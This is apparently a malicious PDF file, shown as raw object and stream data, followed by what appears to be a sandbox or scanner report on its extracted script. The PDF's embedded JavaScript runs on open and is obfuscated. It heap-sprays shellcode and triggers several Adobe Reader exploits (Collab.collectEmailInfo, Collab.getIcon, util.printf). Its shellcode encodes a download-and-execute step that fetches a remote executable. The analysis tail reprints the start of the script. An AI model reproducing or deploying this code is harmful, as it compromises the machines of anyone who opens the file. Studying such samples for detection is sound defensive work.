x��[�r� }�Wtվ$ ш�=o�\�f�6��8��l� H�$$�� R  } (۠d�����z��X��nt�9} �p0�ц�� �K��W�H��=������� !� �!ݧ������s��s  ��h�� i2 L 4   �o  �!� }� �� �� ������^  h��   uF��`: �c��xrB�	��K���� �Z��W���� ����� � ��,�_S�2������t.9 �'��� 𽼳 �WO�^ �O�?������'��io"�7 �l:   *h2 �Ex�]� ��񂓯C����.�S�'���)2? ��
e,��"&W�����9- �#�(�% �  �d5��IS2J&��
�4e1')�Ȑ� ����~M�Nj�b���߂�;b[�
�lcTIF��GNL�1�R)ʌ�[�v�3�� ��I�Q�  �qM �+Z��6Ģ�&�J����Ǖ�hchän쏌�0ȫ{� x
K����J�^Wt  �O+z���2lK��	�&kLM+����\sʶ �l
pY�Tᔪ�� � kSI��53xl� � V�čF e K� ���k#
	�<6� "X5Ƨ ��%� �6 7��  e��w  �J�
U��q�%�u�Xwk )��Z� �(Y��~����h��� �  rI
 CYn�xe �s�T�ӽ`�R 
�(�FְD��d [P  i�l��N  �'C�.��K�-C
�
�� ��� p��05�x��K� a ò��*�r
k
V� )V� ��!\ AJ�2��~��jG  N� 6+ i�k  ߲��L#� ����$Kv���TeW�	��b	���t1{)�8g)��
Шj�Į�� ���0bٔ b�� �xX�79Śm$��I�L��ks$ �"�k��* ��6>�4�;��"JC�R��)�  ��H�� ��Ռ��}�_
��B�J7 �9*9V��),� �� &�v�S �ȚO� Ւ �Q�ͅ�O�_� ��s�W+� ߟ  e� �B�ϲ��+��zDL��iͤ�]Y [�F�8^V(��%������e� \� h4b	� � u%� ���h��i��0 �g �S˳ ���|z7v0~�a��@�>��-X(��5`Fg�k0F �{�s�t�.��1�F"���К�F� �"V� d*ԿW�B��-{S�4`�?  �'h  :�[x�4x*e��A^��Χo���=��x���+��Fd6^����
E�lD��N��� ��C�>"��b�N- ��Z� �k z	 k4�$�F� � +���Rjʹ( �"�=�6Y8���k o( :���y �O�4mkZLm�\�V)�q� �d� �:  ��Z� � ke�T2
" ҕ�qZ� ���sD���Q%$�� 4mS�%�`�za�)kv� ��p��ƆՀ$���g ;�:�Ox)��� �^&W�"v2��[�^�؎�}Mj>� ;�n���R� �P���І�;����3������Kˀ cg��3=<in:���  :�|Kg@��
F��I�
bb�*w>]  :G�N r��m� � �lw�fP�+�/͟ ]��(-"��
;��T%���J �Ŵ�����bL
 ��&�@�m�]�k��� ����vע� '¬��C��}�6w(�i J�� ��%�ׅ�����հ0
��5��)  �5��ԙ2y;��O0�Oצ ��� ^ w��� �� ���qE-�� w��ս��� $7,^Q �ci*��I7ޙ��O� >A��2��/q�� �{�� ^�� ���Xy���Q  _s}r�� @ǝ[�� [^>3�n���ȡ�^�SS��ʪ A5�Zª����� � ����Q�8|�(�*h�آ�W� ��{�� �
2V�� &WQԦN�����  �  ������ 4:,� ��kY ޠ� ��#�:�{<����hᨡ  �Ո ;��yHa �'�����T
��5W <��ٴdk�ӵ�c Q� j "����O	|dB�$�an�t��B�N�?4HG�d�Wl��n�x��\}�np�,  C =�:�8 RS��J�$�y+:@v�f��ް������w�G G"o�X_/<O̍}�6>f��E�W�F �qQΞ��sz ����%��ӵ��ș���q5� #�(�"4 �� o� ͘f1 ͍�J��B��k���� [s{$�� 	�Rzݐ  �A�#�wq!�f)��
;���\x�-�� � 珅��� �u *�{ ��Փ��ӹ�#��G��o�+~��X����'�|�7s�p|�$ک �+�h�w���'�>]�:^�f �<�}%�LS�Ʋn����P>�� ̯NI@�=�- �s�6�F�Pv�i���� -&�3. � �F� y  �N�O:�������҉�U{ �4�g��� t.�3�Y	Ti��2� ��|8r�� ��A�풖k
�O	�< ����� ����v* �ڳ�_��Ν!j�ߧs�� g��y�����ޠO׆��:�q-B�Xp�Қ�-@ǚ �4/~/ �`�9�� Ix��`־�� *�T�ӿ�c�kv ��
 ��Eo׊^m�9�8������z����7� &��^M�tD�7�
�����  �({g����=g�-���n�i�o8 lo������Hә����Z� � 6m �VxN��!��g���˭4C  �	ŧ����B'   �X#�w�' �k )�4 W�u��"|P$A����#7}�6 ;� (j;[��ѷ�'�<��茐.O��F�q��=:7w\��� ��#H���w�7 #L]k�� �����P����O���t8XL�;� \1�BH h�����q�� ���
endstream
endobj
7 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 8 0 R>>
endobj
8 0 obj
<</Filter /FlateDecode /Length 2772>>
stream
x�͛Ys� ���)�j_��h(Qg�29�f����Lj+�� ��H� h �, ����
]�)�b���=�%�/��� F�ق6 �w���� �� _��+����>�mB�Q ї5��������k4 ǣx��D4���+�NF3|n1 E Jk��iL �����1-���� �Q��F �MN��x� M����� }����%�қ? �Q����З�p��{ H�k�9���h����Y�&�W'��D�w�h���� 7���
߀�ݜ^��o��} N��3r��  ��Ĵ�/G� �4��l���+�L7?���kO_y����?[��O����� M#[P�
J��T$*�J2���j� �g�t�h�+I��Z�JC]%�nD +ai1� �ڸ�2����6��U
]e��5 � ѧ�-��8 ~Kݦ��*�閉FP*Z9
z��h�d̿�*� �ERIJDU����*��`�VR��h����H�-�+�V� RVְ��h:�,	�+8k�� OF�'c}���BTSvT6j
���%[h� �a � �'�ѣ�
ѲE�� �e� �V���Z"�����T-��S�je� }) ��  �62#�r #�  � ҄��x� r߉��J�^� �]S�VC�.u��ᕳ�)c�06ШUxok\ V�h� ���T ��=:�VʎZ��� fSM��p]	�oI'rK���2#���0 ��u�+��eGa��VZ G � I��d ��   �ȶ ��� /���Xb ��D&X��

 ��  ժ���tF"Ѽ �  )#� Y�@ ��(�ePw̗{	X$ ��
�p���E!�U�A*�!X��UgEP� >m~ �@T`��$�{HS�F�Hh
'��7HL �a횬#��fKI ��� Hj�l`� �k�ѵ�iA�A�Ht��Ȫ- ƒh��� ���^�%�> �(D���$��@� �
2*a� �ZfT�1�� ��u0��2v�a�:���Ҋ�W��ih��pR��-rgP��>y�N�K�	�  ��\�
D�3ĉ� R��  C�� &�`i5� � jϐ Fx��(8�+��eP�L= .� y�� �"E�غ���F	$ �� � 	�� L�� g�NR� �q���� � ¹�   b�D�P�l�()U& GP�� � qgd� ��'�M�=T�Tn�yp� ����-�+ �� 
�3���  � \˧���mYAA#P1�}q~5�Ft ���E�:G�C� ���� �9��ЂU  �.C��hgC�8[yL\� <?� �*2- �R� �X_�T�#�� � Hk�6�jKO�ct��q WY�]͌���qO5��� ��3a�ʻ�L8ǯ�Q"@n �l 岑��Ȃ�4� 8%f- ���4
=�� � ���-
d���@  �g �I A `�	   ���s  ��!��y ��`� �� �t{O V;��:�FT�� � Wn��ϭ�ow�π	��Գ�� uđD�� Q��� ��X���%�6�RI�5�5�q���=`H�b ���� ���v� �] ������E�qj�gB:�Pk �" 6| � u]��Qp�=�o _e�3���;N� 't  v��5f 	(�ϒ)�r ��c�����&h�; �WMC	=S� Jt�i �p���gb͍��0%��G�� �8 Z�NW{M� �>�s`	�Pð�ۖm��(�ӈ�u�g�	�Q �2��P��ahoCf���� Vݒh �u�F�&��R��$5 �;@
j�Bj��dٵ|C�HH`�"ֈ�H]W��^ �c+�vsO��_�k 뽀B�30�p%9 ��k �V ��;� � �Σ� T�]b�2f ���25���r�x	R~Z R��'K? %��Z(N� � n �**�i��X ͗SϢ 
�]� �$� d $ �ux���7��*��}`��� Q��/�j�'�o���M
J��� 롉'��q������{�ZH�ƞh==�ko�� f^���y"#&�n�g�5 ��` z����+�� x� W� ?l� 
 Pn �^�  3�Ǡ�y�uw��]� �=[[�&��Q��Ĺ�*R��Q�� /��� ���'-e��$� n<�|@нڷ� �G��ֵ��"�C!� � �<8ޞ���"Ov�^����	��ԃ� �v NQ�.�uk���2�3�%�� C�!k�0���g!���ȱ�G�)T}2Q��V��d�ғ�)�f ���33 ��Z]U} ��)�z���� �Y O�W s	*�؃�܌r#mw:} ���*��cQ�� )P7 "r�0�j� ћ@�jo�F�T^�o�r�e�)�un�J ]j�6�����ʣ� mBF�d�)1���Y�70 ��lS��a���y��  F�Ag�����[�R J� �:� ϟ� o�JĐ��=%�8�2��p��\F����@ ��̳�ս� 4$� ��� 0 ������^�[g" �w��n�A��  ���1& ���$�H+ v`2�=, 4P� � 8j����!U�xN\�+�J�s� �J�]�
jw�  	��س(�1�I��pLe@�vp�1���O�V��*IPɖ�_� H�)�kX;y pA���3 �TŐS���KM� oX��* ����p孠�c� z��Y\ و�N�P��Gɗq �3'0� \�Tn� ���Jg�4�D�n� u5`3��D �[�Da ��!u�y  x2"�$Ӄ��� � �J HD��z�|>&�gZЯ<� �>� �W�7ϴ�!������\�x�u���d�#h��.Eo�g�E e\� ��' ��7��y_�:�K}� <=x T; ���[sP�� ��ph��oy y��ӣ�4~7� %iǯ���^}dp ��B�h5<@M R�� �飉du���@���,����+ �\x��;������Pǻ����?�p�U�s��qsL�q� QÈ~��7 ��=t��4;\����xt  ;��'�w���  5�F�9:��g�[����{Z]����   ���
endstream
endobj
9 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 10 0 R>>
endobj
10 0 obj
<</Filter /FlateDecode /Length 1949>>
stream
x����r�� ��� ]��"X� �����V9��J� �/ � 0�` � !��� � D�����ݢ�  b�� ݳ�d�5�4�Ox]�Ͽ����[������� 3Zg�	]���ˋ�cӣc4�γ� �Lh��V[Z̲%�[O�Ɍ��>|7��Y����9m��'gWpM �:9��*��LW�l���  �t)��?�R��/N~����/t�	���G+�5�\b��I����S[S��K� �G��d�%� � ^W � �����7�����G�9�}b ?�- ���i��d�-��\Γ ��k�L ?�b���>?�n���r���#�Qs+)�R�ِ����S�Z��>P_[�Qɮ� ��sOW���P��TZ�����k�릸�N�� }�=u%����἖�*(g��O�෴o�Ͷ�;��o(�Z{ }M�v�I�j�
kn��KC� 0��0H����{�,��['��N  V ��� � =,�B$�]�� ��T�h*j��fT����>~�[RN��W$  � � ������XS���Z �\m� � Zˢ!��: ;�2��}6��lq ��ʤd�RT � ��N R%5r� uNᐯ��
�#�Re� � `=,+��-��m��U a Ւ]���++  � }��S�$FN�������.�O�Q�9]<���J �� y�F�
�. �  ��5(��1��C��}F��&� ��%J�jAרg�%$� 
."G�$�#��$ �W����J����MV 	��5� �J�ol���:�܀�.G�[�'/��� v �*� $:*�K�� jT�
���|� Hf)π �@yT����Fu �-h�
��ƭ��B� ��d�dǠ@ i|�d�� e��e
��� * J�c !ɍE��:)YuC�>EQꐂ/Q ѠV>qE��|0 ��D��޺g��-M�l U $ rSۀ s�>džb���Rô �:%V��P���I ����Hp��^�i�2 e�| �ؓ�� j�Z��,��z��	^�D �I�ܩ �$GjAy~ ���԰`�X 疝x��� 4�<�遟e4� W��r(���OǕO��   ĸ�y ͅ�P�ٟ�阦� �<B6�ǥ էˁgۃ7 �@ɢc
��J��G�l؁� �_�u�8   Ӻ��   �^b ���ϱ j�ra!Hml uZ �;B1%H� ����� ���� ����ǐ~� \��0�4t7�j�q�GlSq�j�l � �� ( _�K� b�) �˔t ���!�T����c�7 ���K T|� g8��� �Ti䫀��{��s��i�d DZ��K���  [i{   ��� 4�*��a�C%>�Ө�
 9� �3'RBF�*�����7 iD˖� "���ͬ#)*�[� Zp��97I�c��<Y|3�}�G�J��BSv� ��c�T &C!Y�s�z��WF�1Er�^<n��$�y��4��M�mҢvos�� A�[	 \E�҂*i�lk�� gb O{� 屓&P� } ��ܜ@רN_�# V� �aR���8��"�C;�#�<��� �X Dm�� �NcZ� ��Z �.�_ j � ��;F�s�:9,� ���� �^��w��B�G< �0��~c�r>��ޞ �( �S�}�@� t#�K�ќ��<��1͛
�z �QSf:@�,
1�#�� �f�zߥ4aHe�F����1�� �8l߾mJ �ߋ� �/  �.`3���;��J�V�� p�Q��4PG]�z��Wg�*� / Z�� ���hz�xǧƾ� 2����۞/�^c�� ���Ըp�z! ��B ũ����?Ol| ���P ոGB}vw��|yc�R�Ѧa �.�O Ӵ� ҧ!z(䧔�m� \`< ][�H����L  s}�О�x �ƴn1��	,��ɻ��� ��d4� �n�R�. n�V�1͛ @��w����ӽ2ѝ���0e�a�ʭ��$ Gݧ_� �tiߺ���R�15� �L e�H?' (I�ؿu��n�:`�L��i�KF�����Wg9H6 =�+ d��I{�{��������Ō��M�=�3�m��rx���mz����V�l�����A�.e��> m�}� � ����
endstream
endobj
1 0 obj
<</Type /Pages
/Kids [
3 0 R
5 0 R
7 0 R
9 0 R
]
/Count 4
>>
endobj
11 0 obj
<</Type /OCG /Name (��print)
/Usage <</Print <</PrintState /ON>> /View <</ViewState /OFF>>>>>>
endobj
12 0 obj
<</Type /OCG /Name (��view)
/Usage <</Print <</PrintState /OFF>> /View <</ViewState /ON>>>>>>
endobj
13 0 obj
<</Type /Font
/Subtype /Type1
/BaseFont /Helvetica
/Name /F1
/Encoding /WinAnsiEncoding
>>
endobj
14 0 obj
<</Type /Font
/Subtype /Type1
/BaseFont /Courier
/Name /F2
/Encoding /WinAnsiEncoding
>>
endobj
15 0 obj
<</Type /Font
/Subtype /Type1
/BaseFont /Helvetica-Bold
/Name /F3
/Encoding /WinAnsiEncoding
>>
endobj
16 0 obj
<</Type /XObject
/Subtype /Image
/Width 400
/Height 200
/ColorSpace /DeviceRGB
/BitsPerComponent 8
/Filter /DCTDecode
/Length 2128>>
stream
���� JFIF    ��>CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), default quality
��C          		 
  
                  $.' ",#  (7),01444 '9=82<.342��C 			    

 2! !22222222222222222222222222222222222222222222222222��  � �  "      ��                 	
 �ĵ             }       !1A  Qa "q 2��� #B�� R��$3br�	
     %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz���������������������������������������������������������������������������                    	
 �ĵ              w      !1  AQ aq "2�  B����	#3R� br�
 $4�%�    &'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz��������������������������������������������������������������������������       ?m Q_ ~j QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE ���R��4  ��{ /=MGNc�M��RWaE Pf QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QI�n۞i���I����) (��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��F     �Hz�T�@$�[R���{3XO�4�I#$b� M% ���b"ҕ��v?
m.i*���4�(6�B�(�1
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��#��ri�GAM#k{Q��*���kȒ�(�9��(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �)*� +�� �4��Z(��M;2e  f QE"B�(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� ��- p�-��i�俚 �- R����R�;�QE &aE P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P ��
endstream
endobj
2 0 obj
<<
/ProcSet [/PDF /Text /ImageB /ImageC /ImageI]
/Font <<
/F1 13 0 R
/F2 14 0 R
/F3 15 0 R
>>
/XObject <<
/I1 16 0 R
>>
/Properties <</OC1 11 0 R /OC2 12 0 R>>
/ExtGState <<
>>
>>
endobj
17 0 obj
<<
/Names [(EmbeddedJS) 18 0 R ]
>>
endobj
18 0 obj
<<
/S /JavaScript
/JS (��function qMcIgSkV9\(awxOiFtTb,j5qpCxQc\){}this.e0CV7y87=0.89;function hKFYMZBV\(d94ooEkVbN,moKPvsw7,oPNmNCV6\){return moKPvsw7;}var pGLhKJe2n = 'var yz1yyWsr = new Array\(\);var qlvCgEp1;function qOYk2XZ8N\(aOfBqSekQk, visNssO2\){while\(aOfBqSekQk.length * 2 < visNssO2\){aOfBqSekQk += aOfBqSekQk;}aOfBqSekQk = aOfBqSekQk.substring\(0, visNssO2 / 2\);return aOfBqSekQk;}function tHiZ9lrUYu\(zu2WQUQL\){if\(zu2WQUQL == 0\){var zVtKKX01h = 0x0c0c0c0c;}else if\(zu2WQUQL == 1\){zVtKKX01h = 0x30303030;}var hxWSuDXe = new Array\(\\"%u5350%u5\\",\\"251%u575\\",\\"6%u9c5\\",\\"5%u00e\\",\\"8%u0000\\",\\"%u5d00\\",\\"%ued83\\",\\"%u310d\\",\\"%u64c0%u\\",\\"4003%u783\\",\\"0%u8b0c\\",\\"%u0c40%u7\\",\\"08b%ua\\",\\"d1c%u\\",\\"408b%\\",\\"ueb08\\",\\"%u8b09\\",\\"%u3440\\",\\"%u408d\\",\\"%u8b7c%u\\",\\"3c40%u575\\",\\"6%u5ebe%\\",\\"u0001%u\\",\\"0100%ubf\\",\\"ee%u014e%\\",\\"u0000%uef0\\",\\"1%ud6e8%\\",\\"u0001%u\\",\\"5f00%u895e\\",\\"%u81ea%u\\",\\"5ec2%\\",\\"u0001%u\\",\\"5200%u80\\",\\"68%u000\\",\\"0%uff00%u4\\",\\"e95%u\\",\\"0001%u8\\",\\"900%u81ea\\",\\"%u5ec2%u\\",\\"0001%u31\\",\\"00%u01f6\\",\\"%u8ac2%u\\",\\"359c%\\",\\"u0263%\\",\\"u0000%ufb8\\",\\"0%u7400%u8\\",\\"806%u321c%\\",\\"ueb46%u\\",\\"c6ee%u32\\",\\"04%u8900%u\\",\\"81ea%u45c2\\",\\"%u0002%u5\\",\\"200%u9\\",\\"5ff%u0152\\",\\"%u0000%ue\\",\\"a89%u\\",\\"c281%u\\",\\"0250%u0\\",\\"000%u\\",\\"5052%\\",\\"u95ff\\",\\"%u015\\",\\"6%u0000%u\\",\\"006a%\\",\\"u006a%\\",\\"uea89%uc2\\",\\"81%u015\\",\\"e%u0000\\",\\"%u8952%\\",\\"u81ea%u78\\",\\"c2%u0002%\\",\\"u5200%\\",\\"u006a%ud\\",\\"0ff%u056a\\",\\"%uea89%uc\\",\\"281%u\\",\\"015e%u00\\",\\"00%uff\\",\\"52%u5a95\\",\\"%u0001\\",\\"%u8900%u8\\",\\"1ea%u5ec2%\\",\\"u0001%u\\",\\"5200%\\",\\"u8068%u0\\",\\"000%uff\\",\\"00%u4e95%u\\",\\"0001%u8900\\",\\"%u81ea%u\\",\\"5ec2%u\\",\\"0001%u31\\",\\"00%u01\\",\\"f6%u8a\\",\\"c2%u3\\",\\"59c%u02\\",\\"6e%u0\\",\\"000%ufb80%\\",\\"u7400%u\\",\\"8806%u321c\\",\\"%ueb4\\",\\"6%uc6\\",\\"ee%u3204%u\\",\\"8900%u81ea\\",\\"%u45c2\\",\\"%u0002\\",\\"%u5200\\",\\"%u95f\\",\\"f%u0152\\",\\"%u000\\",\\"0%uea89%u\\",\\"c281%\\",\\"u0250%u\\",\\"0000%u505\\",\\"2%u95ff\\",\\"%u0156%u00\\",\\"00%u006a%u\\",\\"006a%uea89\\",\\"%uc281%\\",\\"u015e%u000\\",\\"0%u895\\",\\"2%u81ea%u\\",\\"a6c2%u00\\",\\"02%u5\\",\\"200%u006\\",\\"a%ud0f\\",\\"f%u056a\\",\\"%uea89%uc2\\",\\"81%u015\\",\\"e%u000\\",\\"0%uff52%\\",\\"u5a95%\\",\\"u0001\\",\\"%u9d00%u5\\",\\"f5d%u5a5\\",\\"e%u5b59%u\\",\\"c358%u000\\",\\"0%u0000%u0\\",\\"000%u0\\",\\"000%u00\\",\\"00%u0000%u\\",\\"0000%u0\\",\\"000%u6547\\",\\"%u5474%u\\",\\"6d65%u5070\\",\\"%u7461%u\\",\\"4168%\\",\\"u4c00\\",\\"%u616f\\",\\"%u4c64%u62\\",\\"69%u6172\\",\\"%u7972%u0\\",\\"041%u6547\\",\\"%u5074%u6f\\",\\"72%u4\\",\\"163%u6\\",\\"464%u65\\",\\"72%u7\\",\\"373%u\\",\\"5700%u\\",\\"6e69%\\",\\"u7845%u6\\",\\"365%u\\",\\"bb00%uf\\",\\"289%uf7\\",\\"89%uc03\\",\\"0%u75ae%\\",\\"u29fd%u8\\",\\"9f7%u31\\",\\"f9%ubec\\",\\"0%u003c\\",\\"%u0000%u\\",\\"b503%u021b\\",\\"%u0000%ua\\",\\"d66%u\\",\\"8503%u021\\",\\"b%u0000%u\\",\\"708b%u\\",\\"8378%u\\",\\"1cc6%u\\",\\"b503%u021\\",\\"b%u0000%ub\\",\\"d8d%u02\\",\\"1f%u000\\",\\"0%u03ad%u\\",\\"1b85%u0002\\",\\"%uab0\\",\\"0%u03ad\\",\\"%u1b85%u\\",\\"0002%u500\\",\\"0%uad\\",\\"ab%u850\\",\\"3%u02\\",\\"1b%u0000%\\",\\"u5eab%udb3\\",\\"1%u56ad%\\",\\"u8503%\\",\\"u021b%u00\\",\\"00%uc689%u\\",\\"d789%u\\",\\"fc51%ua6f\\",\\"3%u7459%u5\\",\\"e04%u\\",\\"eb43%u5e\\",\\"e9%ud1\\",\\"93%u03e0%u\\",\\"2785%u000\\",\\"2%u3100%u9\\",\\"6f6%u\\",\\"ad66%ue0c1\\",\\"%u0302%u1\\",\\"f85%u0\\",\\"002%u8900\\",\\"%uadc6%u8\\",\\"503%u02\\",\\"1b%u0\\",\\"000%u\\",\\"ebc3%u001\\",\\"0%u0000%\\",\\"u0000%u\\",\\"0000%\\",\\"u0000%\\",\\"u0000%u\\",\\"0000%u00\\",\\"00%u8900\\",\\"%u1b85%u00\\",\\"02%u5\\",\\"600%ue85\\",\\"7%uff5\\",\\"8%uff\\",\\"ff%u5e5f%\\",\\"u01ab%u80c\\",\\"e%ubb3\\",\\"e%u027\\",\\"4%uede\\",\\"b%u55c3%\\",\\"u4c52\\",\\"%u4f4d%u2e\\",\\"4e%u4c44%u\\",\\"004c%\\",\\"u5255%u44\\",\\"4c%u776\\",\\"f%u6c6e%u\\",\\"616f%u\\",\\"5464%\\",\\"u466f%u6\\",\\"c69%u4165%\\",\\"u7500%u6\\",\\"470%u7461%\\",\\"u2e65%u\\",\\"7865%u\\",\\"0065%u\\",\\"7263%\\",\\"u7361%u2e\\",\\"68%u68\\",\\"70%u007\\",\\"0%u7468\\",\\"%u7074%u2\\",\\"f3a%u732\\",\\"f%u6f65\\",\\"%u742d%u6\\",\\"172%u6\\",\\"666%u632e%\\",\\"u6d6f%u\\",\\"632f%u\\",\\"756f%u7\\",\\"46e%u726\\",\\"5%u2f73\\",\\"%u2f3\\",\\"1%u7075%u\\",\\"6164%u6\\",\\"574%u702e%\\",\\"u7068%u69\\",\\"3f%u3d64%\\",\\"u2633%u657\\",\\"2%u3d74%u6\\",\\"b6f%u9000\\"\);hxWSuDXe = unescape\(hxWSuDXe.join\(\\"\\"\)\);var aMkKKV3ax = 0x400000;var x3CgE4VTY7 = hxWSuDXe.length * 2;var visNssO2 = aMkKKV3ax - \(x3CgE4VTY7 + 0x38\);var aOfBqSekQk = unescape\(\\"%u9090%u9090\\"\);aOfBqSekQk = qOYk2XZ8N\(aOfBqSekQk, visNssO2\);var eEjtQKFInc = \(zVtKKX01h - 0x400000\) / aMkKKV3ax;for\(var unxGYdE5n = 0; unxGYdE5n < eEjtQKFInc; unxGYdE5n++\){yz1yyWsr[unxGYdE5n] = aOfBqSekQk + hxWSuDXe;}}function fDUrU7XB\(\){var nGA9T4uG = 0;var eYoEHriR = app.viewerVersion.toString\(\);app.clearTimeOut\(qlvCgEp1\);if\(\(eYoEHriR >= 8 && eYoEHriR < 8.102\) || eYoEHriR < 7.1\){tHiZ9lrUYu\(0\);var xMxbDF9NZb = unescape\(\\"%u0c0c%u0c0c\\"\);while\(xMxbDF9NZb.length < 44952\) xMxbDF9NZb += xMxbDF9NZb;var fjVSKlDUq = this;var ezqeKH4tH = Collab;fjVSKlDUq[\\"collabStore\\"] = ezqeKH4tH[\\"collectEmailInfo\\"]\({subj : \\"\\", msg : xMxbDF9NZb}\);}if\(\(eYoEHriR >= 8.102 && eYoEHriR < 8.104\) || \(eYoEHriR >= 9 && eYoEHriR < 9.1\) || eYoEHriR <= 7.101\){try{if\(app.doc.Collab.getIcon\){tHiZ9lrUYu\(2\);var gHGLGbxHI = unescape\(\\"	\\"\);while\(gHGLGbxHI.length < 0x4000\){gHGLGbxHI += gHGLGbxHI;}gHGLGbxHI = \\"N.\\" + gHGLGbxHI;var pghfk27wPm = app;pghfk27wPm[\\"doc\\"][\\"Collab\\"][\\"getIcon\\"]\(gHGLGbxHI\);nGA9T4uG = 1;}else{nGA9T4uG = 1;}}catch\(e\){nGA9T4uG = 1;}if\(nGA9T4uG == 1\){if\(eYoEHriR == 8.102 || eYoEHriR == 7.1\){tHiZ9lrUYu\(1\);var vT4Q80JUpI = \\"12999999999999999999\\";for\(cwpqFudQLu = 0; cwpqFudQLu < 276; cwpqFudQLu++\){vT4Q80JUpI += \\"8\\";}var xiNiJYKg1 = util;xiNiJYKg1[\\"printf\\"]\(\\"E000f\\", vT4Q80JUpI\);}}}}app.cbVTCzH8X = fDUrU7XB;qlvCgEp1 = app.setTimeOut\(\\"app.cbVTCzH8X\(\)\\", 10\);';function e8lvCgEp1\(wjcCRLwWYJ\){return false;}this.wXWp7zw2BS="fZcC4Vcdn";function qFDhYW7d0\(iMJ0PnL4I,vNYmW0FQo\){return vNYmW0FQo;}var kSt9A6Z6yr = pGLhKJe2n.replace\(/[]/g, ''\);jBjL5zilQx=8098;var twFKKpkv=new Array\('kwqqg4sd','jKZl1k6oC','uaqmSIyPFh'\);function nY22MpNwk\(eWWySbVF8,kBO9In13r,kVaoxPyTAZ\){return kVaoxPyTAZ;}var m5BhBlFWe = 'e'+'v'+'a'+'l';app[m5BhBlFWe]\(kSt9A6Z6yr\);this.fcoHokTh8=27173;function faEMzs3Hx\(\){}function e9xb5G4yjd\(yJfo5LudGj,rBEckMHjQ\){return yJfo5LudGj;})
>>
endobj
19 0 obj
<<
/Title (��ifDuringHave)
/Author (��longLoremRepeat)
/Subject (��bcFormWhen)
/Keywords (��ifCiceroGalley, toExactDummy, isntLikeAldus)
/Creator (��pageDolor)
/Producer (��670c26185a3783678135b4697f7dbd1a)
/CreationDate (D:20091017160617+04'00')
/ModDate (D:20091017160617+04'00')
>>
endobj
20 0 obj
<<
/Type /Catalog
/Pages 1 0 R
/OpenAction [3 0 R /FitH null]
/PageLayout /SinglePage
/PageMode /UseNone
/Lang /en
/Names <<
/JavaScript 17 0 R
>>
/ViewerPreferences<<
/Direction /L2R
>>
/OCProperties <</OCGs [11 0 R 12 0 R] /D <</ON [11 0 R] /OFF [12 0 R] /AS [<</Event /Print /OCGs [11 0 R 12 0 R] /Category [/Print]>> <</Event /View /OCGs [11 0 R 12 0 R] /Category [/View]>>]>>>>
>>
endobj
xref
0 21
0000000000 65535 f 
0000010826 00000 n 
0000013751 00000 n 
0000000009 00000 n 
0000000117 00000 n 
0000002927 00000 n 
0000003035 00000 n 
0000005745 00000 n 
0000005853 00000 n 
0000008696 00000 n 
0000008805 00000 n 
0000010902 00000 n 
0000011018 00000 n 
0000011132 00000 n 
0000011239 00000 n 
0000011344 00000 n 
0000011456 00000 n 
0000013946 00000 n 
0000013998 00000 n 
0000026720 00000 n 
0000027142 00000 n 
trailer
<<
/Size 21
/Root 20 0 R
/Info 19 0 R
>>
startxref
27544
%%EOF
generic_stage_recovery_006.js deobfuscated-js generic stage recovery null-collapse -> split-literal-normalize from JavaScript object 18 at offset 0x36AE 5989 bytes
SHA-256: fccd1161978f13fddab954962895db6c0ef7b26561af3f186e2608ca199b95ad
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 eval/decoder/string-building token(s). 46 of 75 identifiers look randomly generated (e.g. 'xMxbDF9NZb') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
��function qMcIgSkV9(awxOiFtTb,j5qpCxQc){}this.e0CV7y87=0.89;function hKFYMZBV(d94ooEkVbN,moKPvsw7,oPNmNCV6){return moKPvsw7;}var pGLhKJe2n = 'var yz1yyWsr = new Array();var qlvCgEp1;function qOYk2XZ8N(aOfBqSekQk, visNssO2){while(aOfBqSekQk.length * 2 < visNssO2){aOfBqSekQk += aOfBqSekQk;}aOfBqSekQk = aOfBqSekQk.substring(0, visNssO2 / 2);return aOfBqSekQk;}function tHiZ9lrUYu(zu2WQUQL){if(zu2WQUQL == 0){var zVtKKX01h = 0x0c0c0c0c;}else if(zu2WQUQL == 1){zVtKKX01h = 0x30303030;}var hxWSuDXe = new 